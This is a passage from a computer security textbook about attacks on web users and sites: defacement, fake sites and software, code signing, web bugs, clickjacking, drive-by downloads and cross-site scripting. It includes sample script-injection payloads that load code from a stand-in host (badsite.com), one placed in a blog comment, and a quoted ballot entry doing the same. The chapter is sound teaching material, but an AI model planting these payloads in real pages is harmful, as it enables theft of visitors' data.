It is sometimes difficult to tell when an art work is authentic or a forgery; art experts can debate for years who the real artist is, and even when there is consensus, attribution of a da Vinci or Rembrandt painting is opinion, not certainty. As Sidebar 4-5 relates, authorship of Shakespeare’s works may never be resolved. It may be easier to tell when a painting is not by a famous painter: A child’s crayon drawing will never be mistaken for something by a celebrated artist, because, for example, Rembrandt did not use crayons, or he used light, shadow, and perspective more maturely than a child.
Sidebar 4-5 Who Wrote Shakespeare’s Plays?
Most people would answer “Shakespeare” when asked who wrote any of the plays attributed to the bard. But for over 150 years, literary scholars have had their doubts. In 1852 it was suggested that Edward de Vere, Earl of Oxford, wrote at least some of the works. For decades, scholarly debate raged, citing the few facts known of Shakespeare’s education, travels, work schedule, and experience.
In the 1980s a new analytic technique was developed: computerized analysis of text. Different researchers studied qualities such as word choice, images used in different plays, word pairs, sentence structure, and the like—any structural element that could show similarity or dissimilarity. (See, for example, [ FAR96 ] and [ KAR01 ], as well as www.shakespeareoxfordfellowship.org .) The debate continues as researchers develop more and more qualities to correlate among databases (the language of the plays and other works attributed to Shakespeare). The controversy will probably never be settled.
But the technique has proved useful. In 1996 an author called Anonymous published the novel Primary Colors . Many people tried to determine who the author was. But Donald Foster, a professor at Vassar College, aided by some simple computer tools, attributed the novel to Joe Klein, who later admitted to being the author. Computer security expert Peter Neumann [ NEU96 ] notes how hard it is to lie or mislead convincingly, even by altering your writing style, because your “telephone records, credit card records, airplane reservation databases, library records, snoopy neighbors, coincidental encounters, etc.” can be aggregated to paint a picture of who you are.
The approach has uses outside the literary field. In 2002, the SAS Institute, vendors of statistical analysis software, introduced data-mining software to identify a writer by finding patterns in old email messages and other masses of text. By now, data mining is a major business sector often used to target marketing to people most likely to be customers. (See the discussion on data mining in Chapter 7 .) SAS suggests that this kind of pattern analysis might be useful in identifying and blocking false email—that is, email purporting to come from one person when it actually comes from someone else. Another possible use is in detecting lies, or perhaps in just flagging potential inconsistencies. Pattern analysis has also been used to help identify the author of malicious or plagiarized code.
The case of computer artifacts is similar. A webpage with incoherent text, grammatical errors, or an unusual political position can alert you that something about the page is suspicious. But a well-crafted forgery may pass without question. The falsehoods that follow include both obvious and subtle forgeries.
Defaced Website
A simple attack, a website defacement , occurs when an attacker replaces or modifies the content of a legitimate website. For example, in January 2010 the British Broadcasting Corporation (BBC) reported that the website of the incoming president of the European Union was defaced to present a picture of British comic actor Rowan Atkinson (Mr. Bean) instead of the president.
The nature of these attacks varies. Often the attacker just writes a message like “You have been had” over the web page content to prove that the site has been hacked. In other cases, the attacker posts a message opposing the message of the original website, such as an animal rights group protesting mistreatment of animals at the site of a dog-racing group. Other changes are more subtle. For example, recent political attacks have subtly replaced the content of a candidate’s site to imply falsely that a candidate had said or done something unpopular. Or using website modification as a first step, the attacker can redirect a link on the page to a malicious location, for example, to present a fake login box and obtain the victim’s login ID and password. All these attacks attempt to defeat the integrity of the webpage.
The objectives of website defacements also vary. Sometimes the goal is just to embarrass the victims. Some attackers seek to make political or ideological statements, whereas others seek only attention or respect. In some cases, attackers are proving a point by demonstrating that it was possible to defeat a site’s integrity. Sites such as those of the New York Times , U.S. Defense Department, or political parties have frequently been targeted this way. Sidebar 4-6 describes defacing an antivirus firm’s website.
Sidebar 4-6 Antivirus Maker’s Website Hit
Website modifications are hardly new. But when a security firm’s website is attacked, people take notice. For several hours on 17 October 2010, visitors to a download site of security research and antivirus product company Kaspersky were redirected to sites serving fake antivirus software.
After discovering the redirection, Kaspersky took the affected server offline, blaming the incident on “a faulty third-party application” [ ITPro , 19 October 2010].
Bank robber Willy Sutton is reported to have said when asked why he robbed banks, “That’s where the money is.” What better way to hide malicious code than by co-opting the website of a firm whose customers are ready to install software, thinking it will protect them against malicious code?
A defacement is common not only because of its visibility but also because of the ease with which one can be done. An attacker’s browser receives the full content and all programs sent to the client in order for the client’s browser to display the webpage. An attacker can even view programmers’ comments left in as they built or maintained the webpage code. The download process essentially gives the attacker the blueprints to the website.
Fake Website
A similar attack involves a fake website. In Figure 4-8 , we show an image of a fake version of the Barclays Bank (England) website at gb-bclayuk.com/ . (The site at that URL has since been removed.) The real Barclays site is at barclays.co.uk . As you can see, the forger had some trouble with the top image, but if that were fixed, the remainder of the site might look convincing. Still, there are a few clues that might raise suspicions: The bulleted list of actions at the top is inexplicably split into two sections. Corporate accounts are listed under personal banking. Finding a branch seems out of place near privacy policy and security. As a security analyst—and as a cautious web user—you need to develop a sense for things that don’t feel right.
FIGURE 4-8 Fake Website for Barclays Bank
The title bar reads, personal banking from Barclays - Barclays - Mozilla Firefox. The page features an illustration that shows three coins and a hand holding a small device. The text alongside reads, control your money securely with Barclays Mobile Banking. Our free service means you can check your balance and even make payments on the go. Find out more. On the right side, there are some navigation links that reads, always with us, credit cards, mortgages, bank accounts, Barclays financial planning, helpful information, help and support, online banking, and travel services. The links at the bottom of the page read as follows. Bank, Borrow, Save and invest, Insure, and Ask a question.
An attacker can obtain copies of the images a real site uses to generate its website. All the attacker has to do is change the values of links to redirect the unsuspecting victim to points of the attacker’s choosing. The chief security officer of another bank showed images of two websites, one from his bank and the other a fake. The security officer admitted that the forgery was so good that even he and his staff could not discern which was real. Successful attackers can take the time and care to prepare convincing forgeries.
The attacker can get all the images a real site uses; fake sites can look convincing.
Fake Code
In Chapter 3 , we consider malicious code—its sources, effects, and countermeasures. We describe how opening a document or clicking a link can lead to a surreptitious download of code that does nothing obvious but installs a hidden infection. One transmission route we do not note in Chapter 3 is an explicit download: programs intentionally installed that may advertise one purpose but do something different. Figure 4-9 shows a seemingly authentic ad for a replacement or update to the popular Adobe Reader. The (now removed) link from which it came ( pdf-new-2010-download.com ) was redirected from adobe-download-center.com ; both addresses seem like the kinds of URLs Adobe might use to distribute legitimate software.
FIGURE 4-9 Advertisement of Fake Software
Whether this attack is meant just to deceive or to harm depends on what code is actually delivered. (We did not click to investigate.) This example shows how malicious software can masquerade as legitimate. The charade can continue unnoticed for some time if the malware at least seems to do what the site would normally do, in this case, displaying and creating PDF documents. Perhaps the easiest way for a malicious code writer to install code on a target machine is to create an application that a user willingly downloads and installs.
Adobe is a large, well-known vendor, so some degree of trust is suggested by its name and products. Security firm f-Secure advised (22 October 2010) of an attack on another respected vendor: one website offered a phony version of Microsoft’s Security Essentials tool. The real tool locates and eradicates malware; the phony tool reports phony—nonexistent—malware. An example of the fake’s action is shown in Figure 4-10 . Not surprisingly, the “infections” the phony tool finds can be cured only with—you guessed it—phony tools sold through the phony tool’s website, shown in Figure 4-11 .
FIGURE 4-10 Phony [Microsoft] Security Essentials Tool
A computer icon on top, displays a cross mark. The text next to it reads, potential threat details. The text that follows reads, Microsoft security essentials detected potential threats that might compromise your privacy or damage your computer. Your access to these items may be suspended until you take an action. Click, 'Show details' to learn more. A table below presents the following information. Detected items: unknown Win 32/Trojan, alert level: severe, recommendation: remove, and status: suspended. The buttons at the bottom of the page are labeled as follows (from left to right). Show details, Clean computer, Apply actions (selected), and Close.
FIGURE 4-11 Infections Found and Countermeasure Tools for Sale
A computer icon on top, displays a tick mark. The text next to it reads, solution found. The page shows two tables on left and right, that display a set of applications, their respective scan results, and removal tool. A path at the bottom left corner reads "file://C:\Windows\system32\taskmgr.exe." A "Start scan" button is present at the bottom right corner of the dialogue box.
Protecting Websites Against Malicious Modification
A website is meant to be accessed by clients. Although some websites are intended only for authorized clients and restricted by passwords or other access controls, other sites are intended for access by the general public. Thus, any controls on content must be unobtrusive, not limiting proper use by the vast majority of users.
Our favorite integrity control, encryption, is often inappropriate for this kind of protection: Distributing decryption keys to any potential user defeats the effectiveness of encryption. However, two uses of encryption can help keep a site’s content intact.
Integrity Checksums
As we present in Chapter 2 , a checksum, hash code, or error detection code is a mathematical function that reduces a block of data (including an executable program) to a small number of bits. Changing the data affects the function’s result in mostly unpredictable ways, meaning that it is difficult—although not impossible—to change the data in such a way that the resulting function value is not changed. Using a checksum, you expect almost all changes will invalidate the checksum value.
Recall from Chapter 1 that some security controls can prevent attacks whereas other controls detect that an attack has succeeded only after it has happened. With detection controls, we expect to be able to learn of attacks soon enough to limit the damage. Amount of harm depends on the data’s value, even though it can be hard to measure. Changes to a website listing tomorrow’s television schedule or the weather forecast might inconvenience some people, but their impact would not be catastrophic. And a web archive of the review of a performance years ago might be of interest to only a few people. For these kinds of websites, detecting a change is adequate somewhat after the change occurred. Detecting changes to other websites, of course, has more urgency. Whether at a frequency of seconds, hours, or weeks, the site’s administrator needs to inspect regularly for and repair unintended changes.
Integrity checksums can detect altered content on a website.
To detect data modification, administrators use integrity-checking tools, of which the Tripwire program [ KIM98 ] (described in Chapter 2 ) is the most well known. When placing code or data on a server, an administrator runs Tripwire to generate a hash value for each file or other data item. The administrator must save these hash values in a secure place, generally offline or on a network separate from the protected data, safe from the intruder’s reach. The administrator reruns Tripwire as often as appropriate and compares the new and original hash values to determine whether changes have occurred.
Signed Code or Data
Using an integrity checker helps the server-side administrator know that data are intact; it provides no assurance to the client. Code signing, a similar, but more complicated approach, works for clients as well.
Consider a company that posts programs for its users online. Users want downloaded programs to be accurate copies of what the vendor originally posted. The problem of downloading faulty code or other data because of its being supplied by a malicious intruder can also be handled by an outside attestation. As described in Chapter 2 , a digital signature is an electronic seal that can vouch for the authenticity of a file or other data object. The recipient can inspect the seal to verify that it came from the person or organization believed to have signed the object and that the object was not modified after it was signed.
A digital signature can vouch for the authenticity of a program, update, or dataset. The problem is trusting the legitimacy of the signer.
A partial approach to reducing the risk of false code is signed code . Users can hold downloaded code until they inspect the seal. After verifying that the seal is authentic and covers the entire code file being downloaded, users can confidently install the code obtained.
A trustworthy third party appends a digital signature to a piece of code, supposedly connoting more trustworthy code. Who might the trustworthy party be? A well-known manufacturer would be recognizable as a code signer. In fact, Microsoft affixes a digital signature to protect the integrity of critical parts of Windows. The signature is verified each time the code is loaded, ordinarily when the system is rebooted. But what of the small and virtually unknown manufacturer of a device driver or a code add-in? If the code vendor is unknown, it does not help that the vendor signs its own code; miscreants can post their own signed code too. As Sidebar 4-7 describes, malicious agents can also subvert a legitimate signing infrastructure. Furthermore, users must check the validity of the signatures: Juan’s signature does not confirm the legitimacy of John’s code.
Sidebar 4-7 Adobe Code-Signing Compromised
In 2012, Adobe announced that part of its code-signing infrastructure had been compromised and that the attackers had been able to distribute illegitimate code signed with a valid Adobe digital signature. In the incident, attackers obtained access to a server in the Adobe code production library; with that server, the agents were able to enter arbitrary code into the software build and request signatures for that software by using the standard procedure for legitimate Adobe software.
In this attack, only two illicit utilities were introduced, and those affected only a small number of users. However, the cleanup required Adobe to decommission the compromised digital signature, issue a new signature, and develop a process for re-signing the affected utilities. Fortunately, the compromised server was reasonably well isolated, having access to source code for only one product; thus, the extent of potential damage was small.
The threat of signed malicious code is real. Three researchers from the University of Maryland explored the security of signed code [ KIM17 ]. First, they examined 325 samples of signed malware, finding that 189 carried valid digital signatures but the remaining 136 had malformed ones. However, the 189 valid signatures came from 111 different code-signing certificates. Signing certificates are relatively easy for anyone to obtain; the certificate indicates that the owner is a properly registered business in the locality in which it operates. The problem is that little additional information is required. Although signature authorities exercise reasonable diligence in issuing signing certificates, some bad actors slip through. Thus, signed code may confirm that a piece of software received is what the sender sent, but not that the software does all or only what a user expects it to.
Ideally, antivirus checkers would detect false signatures and alert users to questionable code. The University of Maryland researchers took ten samples of known malware, signed the code using a valid but expired certificate, installed the code, and then scanned with different antivirus tools. Of 34 antivirus tools, only three tools identified eight of the ten signed samples; no product found all ten. More troublesome, however, is that 17 of the 34 tools detected two or fewer of the ten signed samples. The researchers speculate that to improve performance, antivirus scanners look first for any signature and accept the code if they find one.
Malicious Web Content
The cases just described could be harmless. Or not. In one instance, arbitrary code could be delivered to an unsuspecting site visitor, and the code might be malicious. Likewise, someone could rewrite a website in a way that would embarrass, deceive, or just poke fun—the defacer’s motive may not be obvious. The following examples, however, have unmistakably harmful intent.
Substitute Content on a Real Website
Many website defacements are like graffiti: They make a statement but do little more. To the site owner it may be embarrassing, and it attracts attention, which may be the attacker’s only intention. More mischievous attackers soon realize that, in a similar way, they could replace other parts of a website and do so in a way that will not attract attention.
Think of all the sites that offer content as PDF files. As we just described, some have a link through which to download the free PDF file display tool, Adobe Reader. That tool comes preloaded on many computers, and most other users have probably already installed it themselves. Still, sites with PDF content want to make sure users can process their downloads, so they post a link to the Adobe site, and occasionally a user clicks to download the utility program. But if an attacker wanted to insert malicious code, perhaps even in a compromised version of Reader, all the attacker would have to do is modify the link to download malicious software from the attacker’s site instead of Adobe’s, as depicted in Figure 4-12 . If the attacker presents a site that looks credible enough, most users would download and install the tool without question. The attack involves only one tiny change to the original site’s HTML code, certainly no harder than changing the rest of the content.
FIGURE 4-12 Malicious Code to Download
The table has two columns. The data presented in the table are as follows. Row 1, first column, Studies of low-order even primes, second column, pdf file; Row 2, first column, How to cheat at solitaire, second column, pdf file; Row 3, first column, Making anti-gravity paint and what to store it in, second column, pdf file; and Row 4, first column, 101 things to do with string, second column, pdf file. A textbox at the bottom reads, download my infected version of Adobe reader here.
Because so many people already have Adobe Reader installed, this example might not affect many machines. Suppose, however, the tool were a special application from a bank to enable its customers to manage their accounts online, a toolbar to assist in searching, or a viewer to display proprietary content. Many sites offer specialized programs to further their business goals, and, unlike the case with Adobe Reader, users will often not know whether the tool is legitimate, the site from which the tool comes is authentic, or the code is what the commercial site intends. Thus, website modification has advanced from being an attention-seeking annoyance to a serious potential threat.
Later in this chapter we consider mobile apps, programs that run on mobile devices such as phones or tablet computers. Commercial sites such as retailers, banks, and news media provide apps to display their content and help their customers. Users have few ways to determine whether an app is legitimate.
Web Bug
You probably know that a webpage is made up of many files: some text, graphics, executable code, and scripts. When the webpage is loaded, a browser downloads and processes files from a destination; during the processing, these files may invoke other files (perhaps from other sites) that in turn are downloaded and processed, until all invocations have been satisfied. When a remote file is fetched for inclusion, the request also sends the IP address of the requester, the type of browser, and the content of data files called cookies stored for the requested site. A cookie is a data file containing any data the page owner wants, in any format, including being encrypted. Using a cookie, the webpage server might display “Welcome back, Zoé,” bring up content from the last visit, or open at a particular webpage. Cookies preserve continuity between website visits, even if the visits happen days or weeks apart.
Some advertisers want to count the number of visitors and number of times each visitor arrives at a site. They can do this by a combination of cookies and an invisible image; this image is a form of steganography, something hidden in plain sight, as described in Chapter 3 .
A web bug , also called a clear GIF, 1x1 GIF , or tracking bug , is a tiny image, as small as 1 pixel by 1 pixel. (Depending on resolution, screens display at least 100 to 200 pixels per inch.) A 1x1 image is so small it will not normally be seen. Nevertheless, the image is loaded and processed just as a larger picture would be. Part of the processing is to notify the bug’s owner, the advertiser, of its display on another user’s screen.
A single company can do the same thing without needing a web bug. If you order flowers online, the florist can obtain your IP address and set a cookie containing your details so as to recognize you in the future as a repeat customer. A web bug allows this tracking across multiple merchants.
Your florist might subscribe to a web tracking service; for this example, we will call it ClicksRUs. The florist includes a web bug for ClicksRUs among the images on its webpage. When you load that page, your details are sent to ClicksRUs, which then installs a cookie. If you leave the florist’s website and next go to a bakery’s site that also subscribes to tracking with ClicksRUs, the new page will also have a ClicksRUs web bug. This time, as shown in Figure 4-13 , ClicksRUs retrieves its old cookie, finds that you were last at the florist’s site, and records the coincidence of these two firms. After correlating these data points, ClicksRUs can inform the florist and the bakery that they have a common customer; then, the two business might, for example, develop a joint marketing approach. Or ClicksRUs can determine that you went from florist A to florist B to florist C and back to florist A, so it can report to B and C that they lost out to A, helping them all develop more successful marketing strategies. Or ClicksRUs can infer that you are looking for a gift and will offer a targeted ad on the next site you visit. ClicksRUs might receive advertising revenue from florist D and trinket merchant E, which would influence the ads it will display to you. Web bugs and tracking services are big business, but they are also threats to privacy, as we explain in Chapter 9 .
FIGURE 4-13 Web Bugs
The illustration on the left shows a flower pot. The text below reads, florist. The illustration in the middle shows a ring with a stone embedded in it. The illustration on the right shows a cake. The text below reads, bakery. All three illustrations, the flower pot, the ring, and the cake are marked with arrows and collectively labeled as "Web bugs" on top. A cuboid at the bottom is labeled, Clicks R Us. An arrow labeled 1 points from the florist to the cuboid. A textbox on the arrow reads, visit from 200.100.1.10. An arrow labeled, 2 points from the bakery to the cuboid. A textbox on the arrow reads, visit from 200.100.1.10. An arrow numbered 3, with the label 'targeted ad' points from the cuboid to the ring.
Tiny action points called web bugs can report page traversal patterns to central collecting points, compromising privacy.
Web bugs can also be used in email with images. A spammer gets a list of email addresses but does not know whether the addresses are active, that is, if anyone reads mail at those addresses. With an embedded web bug, the spammer receives a report when someone opens the email message on a browser.
Is a web bug malicious? Probably not, although some people would claim that the unannounced tracking is a harmful invasion of privacy. But invisible images are also useful in more malicious activities, as described next.
Clickjacking
Suppose you are at a gasoline filling station with three buttons to press to select the grade of fuel you want. The station owner notices that most people buy the lowest-priced fuel but that the greatest profit comes from the highest-priced product. The owner decides to pull a trick by pasting stickers over the buttons for the lowest and highest prices reading, respectively, “high performance” (on the lowest-priced button) and “economy” (on the expensive, high-profit button). Thus, some people will push the economy (high-priced) button and unwittingly generate a higher profit for the owner. Unfair and deceptive, yes, but if the owner is unscrupulous, the technique would work; however, most businesses would not try that because it is unethical and might lose customers. Computer attackers do not care about ethics or loss of customers, so a version of this technique becomes a computer attack.
Consider a scenario in which an attacker wants to trick a victim into doing something. As you have seen in several examples in this book, planting a Trojan horse is not difficult. But good application programs and the operating system require a user to confirm actions that are potentially dangerous—the equivalent of a gas pump display that would ask “Are you sure you want to buy the most expensive fuel?” The trick is to get the user to agree without realizing it.
As shown in Figure 4-14 , this computer attack uses a neutral image pasted over— that is, displayed on top of—another more sinister image. We are all familiar with the click box “Do you want to delete this file? [Yes] [No].” Clickjacking is a technique that essentially causes that prompt box to slide around so that [Yes] is always under the mouse. The attacker also makes this (sinister) box transparent, so the victim cannot see it and is thus unaware of clicking anything. Furthermore, a neutral second, visible image is pasted underneath, so the victim thinks the box being clicked is something like “For a Free Prize, Click [Here].” The victim clicks where [Here] is on the screen, but [Here] is not a button at all; it is just a picture directly under the invisible, sinister [Yes] box. The mouse click selects the [Yes] button.
FIGURE 4-14 Clickjacking
The illustration shows a cuboid in the foreground with the text, for a free prize click here. The word 'here' is placed within square brackets. Two dashed lines from the word, 'here' point toward a rectangle in the background with the following text. Do you want to perform this dangerous act? Two options read, yes and no respectively. The words, yes and no are placed within square brackets.
Clickjacking: tricking a user into clicking a link by disguising what the link points to
It is easy to see how this attack would be used. The attacker chooses an action to which the user would ordinarily not agree, such as
-
Do you really want to delete all your files?
-
Do you really want to send your contacts list to a spam merchant?
-
Do you really want to install this program?
-
Do you really want to change your password to AWordYouDontKnow?
-
Do you really want to allow the world to have write access to your profile?
For each such question, the clickjacking attacker only has to be able to guess where the confirmation box will land, make it transparent, and slip the “For a Free Prize, Click [Here]” box under the invisible [Yes] button of the sinister action’s confirmation box.
These examples give you a sense of the potential harm of clickjacking. A surveillance attack might activate a computer camera and microphone, and the attack would cover the confirmation box; this attack was used against Adobe Flash, as shown in the video at youtube.com/watch?v=gxyLbpldmuU . Sidebar 4-8 describes how numerous Facebook users were duped by a clickjacking attack.
Sidebar 4-8 Facebook Clickjack Attack
In summer 2010, thousands of Facebook users were tricked into posting that they “liked” a particular site. According to BBC News (3 June 2010), victims were presented with sites that many of their friends had “liked,” such as a video of the World Cup. When the users clicked to see the site, they were presented with another message asking them to click to confirm they were over age 18.
What the victims did not see was that the confirmation box was a sham underneath an invisible box asking them to confirm they “liked” the target website. When the victims clicked that they were over 18, they were really confirming their “like” of the video.
This attack seems to have had no malicious impact, other than driving up the “like” figures on certain websites. You can readily imagine serious harm from this kind of attack, however.
A clickjacking attack succeeds because the attacker can
-
cause the browser to load a page with a confirmation button that commits the user to an action with one or a small number of mouse clicks (for example, “Do you want to install this program? [Yes] [Cancel]”)
-
change the confirmation box’s image coloring to transparent
-
move the image to any position on the screen
-
superimpose a neutral image underneath the (transparent) sinister image with what looks like a button directly under the real (but invisible) button for the action the attacker wants (such as, “Yes” install the program)
-
induce the victim to click what seems to be a button on the neutral image
The two technical tasks, changing the color to transparent and moving the page, are both possible because of a technique called framing , or using an iframe . An iframe is a structure that can contain all or part of a page, can be placed and moved anywhere on another page, and can be layered on top of or underneath other frames. Although important for managing complex images and content, frames also facilitate clickjacking.
But, as we show in the next attack discussion, the attacker can obtain or change a user’s data without needing to create complex web images.
Drive-By Download
Similar to the clickjacking attack, a drive-by download is an attack in which code is downloaded, installed, and executed on a computer without the user’s permission and usually without the user’s knowledge. In one example of a drive-by download, in April 2011 a webpage from the U.S. Postal Service was compromised with the Blackhole commercial malicious-exploit kit. Clicking a link on the postal service website redirected the user to a website in Russia, which presented what looked like a familiar “Error 404—Page Not Found” message, but instead the Russian site installed malicious code carefully matched to the user’s browser and operating system type ( eWeek , 10 April 2011).
Drive-by download: downloading and installing code other than what a user expects
Eric Howes [ HOW04 ] describes an attack in which he visited a site that ostensibly helps people identify lyrics to songs. Suspecting a drive-by download, Howes conducted an experiment in which he used a sacrificial computer for which he had a catalog of installed software, so he could determine what else had been installed after visiting the website.
On his entry, the site displayed a pop-up screen asking for permission to install the program “software plugin” from “Software Plugin, Ltd.” The pop-up was generated by a hidden frame loaded from the site’s main page, seeking to run the script download-mp3.exe, a name that seems appropriate for a site handling music. When he agreed to the download, Howes found eight distinct programs (and their support code and data) downloaded to his machine.
Among the changes he detected were
-
eight new programs from at least four different companies
-
nine new directories full of files
-
three new browser toolbars (including the interesting toolbar shown in Figure 4-15 )
FIGURE 4-15 Drive-By Downloaded Toolbar
The toolbar displays a set of buttons as follows. Make money, investing, sex, travel, casino, and mortgage. Two dropdown boxes on the right side display the following options. Sex and credit.
-
numerous new desktop icons
-
an addition to the bottom of the Save As dialog box, offering the opportunity to buy a computer accessory and take part in a survey to enter a sweepstakes
-
numerous new Favorites entries
-
a new start page on his browser
Removing this garbage from his computer was a challenge. For example, undoing the browser start page worked only while the browser was open; closing the browser and reopening it brought back the modified start page. The operating system listed only some of the junk programs in Add/Remove Programs, and removing programs that way was only partially successful. Howes also followed the paths to the companies serving the software and downloaded and ran uninstall utilities from those companies, again with only partial success. After those two attempts at removal, Howes’s anti-malware utilities found and eradicated still more code. He finally had to remove a few stray files by hand.
Fortunately, it seems this attack planted no long-lasting, hidden registry changes that would have been even harder to eliminate. Howes was prepared for this download and had a spare machine he was willing to sacrifice for the experiment, as well as time and patience to undo all the havoc it created. Most users would not have been so prepared or so lucky.
This example hints at the range of damage a drive-by download can cause. Also, in this example, the user actually consented to a download (although Howes did not consent to all the things actually downloaded). In a more insidious form of drive-by download such as the postal service example, the download is just a script. It runs as a webpage, is displayed, and probes the computer for vulnerabilities that will permit later downloads without permission.
Protecting Against Malicious Webpages
The basic protection against malicious web content is access control, as presented in Chapter 2 . In some way we want to prevent malicious content from becoming established or executed.
Access control accomplishes separation , keeping two classes of things apart. In this context, we want to keep malicious code off the user’s system; alas, that is not easy.
Users download code to add new applications, update old ones, or improve execution. Additionally, often without the user’s knowledge or consent, applications, including browsers, can download code either temporarily or permanently to assist in handling a data type (such as displaying a picture in a format new to the user). Although some operating systems require administrative privilege to install programs, that practice is not universal. And some naïve users run in administrative mode all the time. Even when the operating system does demand separate privilege to add new code, users tired of annoying pop-up boxes from the operating system routinely click [Allow] without thinking. As you can see, this explanation requires stronger action by both the user and the operating system, unlikely for both. The relevant measures here would include least privilege, user training, and visibility.
The other control is a responsibility of the webpage owner: Ensure that code on a webpage is good, clean, or suitable. Here again, the likelihood of that happening is small, for two reasons. First, code on webpages can be derived from many sources: libraries, reused modules, third parties, contractors, and original programming. Website owners focus on site development, not maintenance, so placing code on the website that seems to work may be enough to allow the development team to move on to the next project. Even if code on a site was good when the code was first made available for downloads, some site managers fail to monitor it over time to be sure the code stays good.
Second, good (secure, safe) code is hard to define and enforce. As we explain in Chapter 3 , stating security requirements is tricky. How do you distinguish neutral from harmful functionality? An action might be neutral in one context but harmful in another. And even if there were a clear and comprehensive distinction between neutral and harmful, analyzing code either by hand or automatically can be close to impossible. (Think of the “goto fail” code fragment in Sidebar 3-14 showing an error in line 632 of a 1,970-line module.) Thus, the poor website maintainer, handed new code to install to meet a functionality or quality deadline, too often needs to just post the code without enforcing any security requirements.
As you can infer from this rather bleak explanation, the problem of malicious code on websites is unlikely to be solved. Users will probably not accept downloads if the danger of such code is clear, and careful access control can reduce the harm if malicious code does arrive. But even seasoned users sensitive to security risks may miss a clue that something is not what it should be. So all users need to plan and prepare for after-the-infection recovery.
Unfortunately, attackers persist because the number of vulnerable users continues to grow and our digital technologies often continue to be designed assuming an idealized user with a particular set of competencies and resources. Every day brings new people who have never before used a computer or browsed the web. And every day brings more essential functionality online, some of which can no longer be accomplished in-person, such as paying bills or applying for a visa. As our CAPTCHA section highlights, digital protection methods are not often designed with a diverse user community in mind. Karen Renaud, a researcher in human–computer interaction (HCI), has studied how even routine authentication methods can be difficult to use for those experiencing a wide range of challenges from hearing and visual impairments to learning difficulties and mental issues [ REN21a , REN21b ]. So attackers know they always have new, unsuspecting, and vulnerable users to target.
4.3 Obtaining User or Website Data
In this section, we study attacks that seek to extract sensitive information. Such attacks can go in either direction: from user against website, or vice versa. Although an attack can target a single user, they are more common against remote servers with valuable data on many people. These incidents try to trick a web server into revealing otherwise controlled information.
The common factor in these attacks is that website content is provided by computer commands. The commands form a language that is often widely known. Someone interested in obtaining unauthorized data from the website’s database server crafts and passes commands to the server through the web interface. Similar attacks involve writing scripts in Java. These attacks are called scripting or injection attacks because the unauthorized request is delivered as a script or injected into the dialog with the server.
Code Within Data
In this section we examine several examples of attacks in which executable 1 code is contained within what might seem to be ordinary data.
- In many cases, this process is properly called “interpreting” instead of “executing.” Execution applies to a language, such as C, that is compiled into machine language code and executed directly. Other action occurs with interpretative languages, such as Java or SQL, in which a program, called an interpreter, accepts a limited set of commands and then does things to accomplish the meaning of those commands. Consider, for example, a database management system processing a command to display all records for people with names beginning AD and born after 1990, sorted by salary; clearly many machine instructions are executed to implement this one command. For simplicity, we continue to use the term “execute” to mean interpret as well.
Cross-Site Scripting
To a user (client) it seems as if interaction with a server is a direct link, so it is easy to ignore the possibility of falsification along the way. However, many web interactions involve several parties, not just the simple case of one client to one server. In an attack called cross-site scripting (or XSS ), executable code is included in the interaction between client and server and executed by the client or server.
As an example, consider a simple command to the search engine Google. The user enters a simple text query, but handlers add commands along the way to the server, so what starts as a simple string becomes a structure that Google can use to interpret or refine the search or that the user’s browser can use to help display the results. So, for example, a Google search on the string “cross site scripting” becomes
Click here to view code image
http://www.google.com/search?q=cross+site+scripting
&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-US:official
&client=firefox-a&lr=lang_en
The query term became “cross+site+scripting,” and the other parameters (fields separated by the character &) are added by the search engine. In the example, ie (input encoding) and oe (output encoding) inform Google and the browser that the input is encoded as UTF-8 characters, and the output will be rendered in UTF-8 as well; lr=lang_en directs Google to return only results written in English. For efficiency, the browser and Google pass these control parameters back and forth with each interaction, so neither side has to maintain extensive information about the other.
Scripting attack: forcing the server to execute commands (a script) in a normal data fetch request
Sometimes, however, the interaction is not directly between the user’s browser and one website. Many websites offer access to outside services from within the site. For example, television station KCTV in Kansas City has a website with a search engine box so that a user can search within the site or on the web. In this case, the Google search result is displayed within a KCTV webpage, a convenience to the user and a marketing advantage for KCTV (because the station keeps the user on its website). The search query is loaded with parameters to help KCTV display the results; Google interprets those parameters it can handle and returns the remaining parameters unread and unmodified in the result to KCTV. These parameters become a script attached to the query and executed by any responding party along the way.
The interaction language between a client and server is simple in syntax and rich in effect. Communications between client and server must all be represented in plain text because the webpage protocol (http) uses only plain text. To render images or sounds, special effects such as pop-up windows or flashing text, or other actions, the http string contains embedded scripts, invoking Java, ActiveX, Python, Ruby, or other executable code. These programs run on the client’s computer within the browser’s context, so they can do or access anything the browser can, which usually means full access to the user’s data space as well as full capability to send and receive over a network connection.
How is access to user’s data a threat? A script might look for any file named address_book and send it to spam_target.com , where an application could craft spam messages to all the addresses, with the user as the apparent sender. Or code might look for any file containing numbers of the form ddd-dd-dddd (the standard format of a U.S. social security number) and transmit that file to an identity thief. The possibilities are endless.
The search and response URL we listed could contain a script as follows:
Click here to view code image
http://www.google.com/search?name=<SCRIPT
SRC=http://badsite.com/xss.js></SCRIPT>
&q=cross+site+scripting&ie=utf-8&oe=utf-8
&aq=t&rls=org.mozilla:en-US:official
&client=firefox-a&lr=lang_en
This string would execute the script xss at badsite.com from the user’s computer. Anything to which the user has access is then vulnerable to the xss script.
Remember that the browser and server pass these parameters back and forth to maintain context between a server and the user’s session. Sometimes a volley from the client will contain a script for the server to execute. Such an attack can harm the server side if the server interprets and executes the script or saves the script and returns it to other clients (who would then execute the script). Such behavior is called a persistent cross-site scripting attack . An example of such an attack could occur in a blog or stream of comments.
Suppose station KCTV posted news stories about which it invites users to post comments. A malicious user could post a comment with embedded HTML containing a script, such as
Click here to view code image
Cool<br>story.<br>KCTVBigFan<script src=
http://badsite.com/xss.js></script>
from the script source we just described. Other users who opened the comments area would automatically download the previous comments and see
Cool
story.
KCTVBigFan
but their browser would execute the malicious script. As described in Sidebar 4-9 , one attacker even tried (without success) to use this same approach by hand on paper.
Sidebar 4-9 Scripting Votes
In Swedish elections, a voter can write any name and vote for that person on the ballot sheet. The Swedish election authority publishes all written-in candidate votes, listing them on a website showing at which site the vote was submitted and for whom the vote was cast. One write-in vote for an election in 2010, which has now been removed from the election authority’s website, was recorded as the following.
Click here to view code image
[Voting location: R;14;Västra Götalands län;
80;Göteborg;03;Göteborg, Centrum; 0722;
Centrum, Övre Johanneberg;]
(Script src=http://hittepa.webs.com/x.txt);1
The name written on the ballot was “(Script src=http://hittepa.webs.com/x.txt)”, with one vote received.
